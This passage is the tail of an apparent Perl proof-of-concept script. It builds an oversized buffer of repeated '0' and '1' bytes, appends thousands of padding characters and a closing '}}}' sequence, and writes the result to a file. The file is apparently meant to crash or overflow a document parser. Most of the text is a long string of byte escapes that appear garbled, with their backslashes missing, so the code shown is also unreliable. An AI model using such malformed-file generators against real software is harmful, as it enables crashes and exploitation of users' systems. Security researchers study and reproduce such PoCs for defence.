x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30". "x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31"; for($i=1;$i<=4212;$i++){ $buffer="$buffer\x30"; # 4212 X "0" } $buffer=$buffer."x31x31x31x31x31x31x31x31x0ax7dx7dx7d"; # EOF = }}} print FILE $buffer; close FILE;